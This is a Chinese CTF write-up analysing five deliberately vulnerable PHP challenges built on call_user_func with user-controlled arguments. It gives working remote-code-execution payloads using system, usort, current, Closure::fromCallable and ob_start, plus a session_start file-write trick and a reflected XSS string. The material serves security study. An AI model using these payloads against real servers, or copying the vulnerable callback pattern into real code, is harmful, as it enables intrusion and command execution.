问题:

1
2
3
4
5
6
7
8
<?php

$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
$a = call_user_func($action, $parameters);

web1

1
2
3
4
5
6
7
8
9
10
<?php

$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}

$a = call_user_func($action, ...$parameters);

我们现在虚拟机下部署一下环境

分析

这里我们可以很容易的关注到

...$parameters 这是一个可变参数

call_user_func 这是一个回调函数

unset 这个函数去官网查查

image-20250722204842784

发现他能够销毁$parameters 中的action

解法1

我们试着传参

1
?action=system&0=id

image-20250722205051183

成功执行了

我们下断看一下,是什么流程

image-20250722205145800

我们传入的 两个参数都会被 ...$parameters 这个可变参数接收 形成了数组,

然后经过unset($parameters['action']); 会删除数组中的key是action的字段

最后只剩下了id

image-20250722205339850

最后执行了我们的回调函数

解法2

1
?action=usort&0[0]=system&0[1]=ls&1=call_user_func

这个解法的原理就是 因为$parameters 是可变参数,所以我们就可以利用他的特性

可变参数列表是指在函数的参数列表中使用省略号(…)来表示不定数量的参数。在函数中使用可变参数列表时,需要将该参数作为一个数组来处理

在看看官方文档usort 的定义

image-20250722210024191

我们可以看到他可以接收callback

那么这个payload的利用方式就是,给action传入usort,然后给parameters 传入system,ls,all_user_func

usort先给parameters数组排序,但是里面有callback,就会调用 all_user_func,然后all_user_func 又调用 system这个函数对ls做处理,最后达到了rce

web2

1
2
3
4
5
6
7
8
9
10
<?php

$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}

call_user_func($action, $parameters)($_POST['a'])($_POST['b']);

这个代码我在linux上复现发现,无论我将php版本调到5.6 还是7.3,都无法访问,爆500错误

然后我们尝试在代码前加入

1
2
3
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

看看具体是什么原因的错误

image-20250723171004717

他这里报错原因就是我们没post传值

我们在传值试试

image-20250723171056676

解法1

1
2
?action=current&a=current
post:a[]=system&b=whoami

这道题的难点就在于

($_POST['a'])($_POST['b']); 如何利用,因为php中根本就没有这种写法,我们就很容易想到,会不会是先执行call_user_func 然后又出现一个函数执行第一个post,最后在执行 最后一个post,这里通过payload,

我们去官方文档查查 current 是个什么函数

image-20250722214732234

通过这个例子我们可以知道current就是 返回数组中的当前值

我们给action传入current,parameters数组中又是current,所以经过call_user_func把current取出来了,

就形成了current([system])(whoami)

current 又将system取出来

system(whoami)

然后执行了rce

解法2

1
2
?action=Closure::fromCallable&0=Closure&1=fromCallable
post:a=system&b=ls

第二个的解法思路也感觉跟解法1差不多,就是函数用的不一样,我们去查一下

image-20250722215610624

我们可以看到它可以将callback 转换为闭包(closure)对象

也就是说,这里我们给cation传入的Closure::fromCallable,

数组传入的是["Closure", "fromCallable"]

经过call_user_func 我们得到一个 Closure 对象,对应的是 Closure::fromCallable 这个函数本身的封装。

然后由这个函数来执行post[‘a’] 就变成了system(ls)

下面有一些实列能帮助我们理解

将普通函数转换为闭包

1
2
3
4
5
6
<?Php
function sayHello($name) {
return "Hello, $name!";
}
// 使用 Closure::fromCallable 将普通函数转换为闭包$closure = Closure::fromCallable('sayHello');
// 调用闭包echo $closure('World'); // 输出:Hello, World!?>

将类方法转换为闭包

1
2
3
4
5
6
7
8
9
10
<?Php

class Greeter {
public function greet($name) {
return "Greetings, $name!";
}
}
$greeter = new Greeter();
// 将实例方法转换为闭包$closure = Closure::fromCallable([$greeter, 'greet']);
// 调用闭包echo $closure('Alice'); // 输出:Greetings, Alice!?>

将静态方法转换为闭包

1
2
3
4
5
6
7
8
<?Php
class StaticGreeter {
public static function greet($name) {
return "Hello from static, $name!";
}
}
// 将静态方法转换为闭包$closure = Closure::fromCallable(['StaticGreeter', 'greet']);
// 调用闭包echo $closure('Bob'); // 输出:Hello from static, Bob!?>

将匿名函数转换为闭包

虽然匿名函数本身已经是闭包,但 Closure::fromCallable 可以用来创建一个新闭包对象:

1
2
3
4
5
6
<?php
$anonFunction` = `function($name) {
return "Hi, $name!";
};
// 将匿名函数转换为闭包$closure = Closure::fromCallable($anonFunction);
// 调用闭包echo $closure('Charlie'); // 输出:Hi, Charlie!?>

使用可调用对象

1
2
3
4
5
6
7
8
<?phpclass CallableClass {
public function __invoke($name) {
return "Invoked with $name!";
}
}
$callableObject = new CallableClass();
// 将可调用对象转换为闭包$closure = Closure::fromCallable($callableObject);
// 调用闭包echo $closure('Dave'); // 输出:Invoked with Dave!?>

Closure::fromCallable 方法提供了一种方便的方式将不同类型的可调用(函数、类方法、可调用对象)转换为闭包对象,从而可以用统一的方式来调用这些可调用。这个特性在编写更灵活的代码时非常有用,比如在函数式编程中或需要将不同的回调传递给函数时。

web3

1
2
3
4
5
6
7
8
9
10
11
<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
call_user_func($action, $parameters);
if(count(glob(__DIR__.'/*'))>3){
readfile('flag.txt');
}
?>

分析

这里利用的是readfile函数来读flag,但是这里判断了当前文件夹里是否有3个以上的文件,

这里我们知道,他原本的环境下应该只有两个文件,所以我们得想办法创建两个文件,

但是这里测试发现,常规的创建文件的方法都不适用,因为我们这里传入的第二个参数是一个数组

这里题目给的思路很独特,用用session,来创建文件

我们知道当用户与服务器开启对话的时候,客户端会生成ck,服务端会生成session文件,那么我们是不是可以尝试这个思路呢?

image-20250722222738373

查询官方文档发现session_start正好他可以通过session.save_path ;来指定路径,然后会创建session文件

image-20250722223034185

而且这个参数是用户可控的

在写入文件之前,首先通过报错来定位当前物理路径,报错的方法有很多,大体是通过引入一个函数并传递“不合法”的参数。

那么我们很容易想到payload

1
?action=session_start&save_path=/var/www

测试发现无法写入/var/www/html

但是将目录改为/tmp,却成功写入了

image-20250722223622812

这里问大模型说

image-20250722224048867

当时的题目环境可能设置了这个吧

另外,其实也考虑过利用 upload_progress 来控制写入文件的内容,再配合其他include 来加载shell。这里有几点需要说明:

  1. 需要开启 session.auto_start ,这个配置是无法动态开启的,需要环境默认开启。
  2. 写入文件以后,文件是以sess_ 开头并且文件名只能由这些字符构成:(0-9, a-z, A-Z, “-“, “,”) 。这也导致了不能直接写.php文件。

web4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
Class A{
static function f(){
system($_POST['a']);
}
}


$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}

call_user_func($action, $parameters);

本题是为了演示加载静态方法(无参类型或参数均含有默认值)

这道题就很简单了

先调用A 这个class,然后在调用f这个函数,最后post[‘a’]传入执行的代码

payload

1
2
?action=call_user_func&0=A&1=f
post: a=ls

image-20250722224632555

web5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
Class A{
static function f(string $a){
system($a);
}
}


$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}

call_user_func($action, $parameters);
echo $_POST['a'];

这道题与上一道题的改变就是我们无法直接利用post[‘a’] 传入我们的执行代码了

payload

1
2
?action=ob_start&0=A&1=f
post: a=touch /tmp/aaa

这里他利用了ob_start 这个函数,我们去官方文档查查看

image-20250722230857336

他说他能够打开输出的缓冲区

image-20250722231539904

而且他说当冲刷(发送)、清理输出缓冲区或在脚本末尾冲刷输出缓冲区时,将调用 callback

也就是说我们打开缓冲区后,$a 会自动的读取缓冲区的内容

所以我们可以在post[‘a’] ,实现任意的rce

比如

image-20250722233100827

image-20250722233104960

image-20250722233111387

这里的任意命令都可以执行,我们尝试执行一下 whoami

image-20250722233144087

但却发现没有回显,问问大模型

image-20250722233211207

我们修改一下源代码,加入return

再次测试

image-20250722233250238

成功回显,可能问题就是这里,这里我们可以发现,当我们打开缓冲区后,$a 会从缓冲区来取值,

从而实现rce

总结

在这样的代码环境下,我们能做的有这样几点:

  1. 可通过var_dump引入反射型xss(?action=var_dump&1=<script>alert(1)</script>);

  2. 可通过引入报错来获取物理路径;

  3. 可通过session_start 写入文件,写入文件路径可自定义,文件内容是否可控要看服务器配置;

  4. 加载php内置函数或原生类/已有类的静态方法,函数参数类型需为:Array、Mixed、callable。 其中callable类型可再次加载 ,并以数组形式传入类名和静态方法名称。 如果函数有多个参数,其他参数需要有默认参数,无默认参数的那个参数需满足以上参数类型条件。若函数参数均有默认参数,首个参数类型需满足以上参数类型条件。

  5. 当有echo 配合时,可通过ob_start 加载原生类/已有类的静态函数,函数参数支持string类型。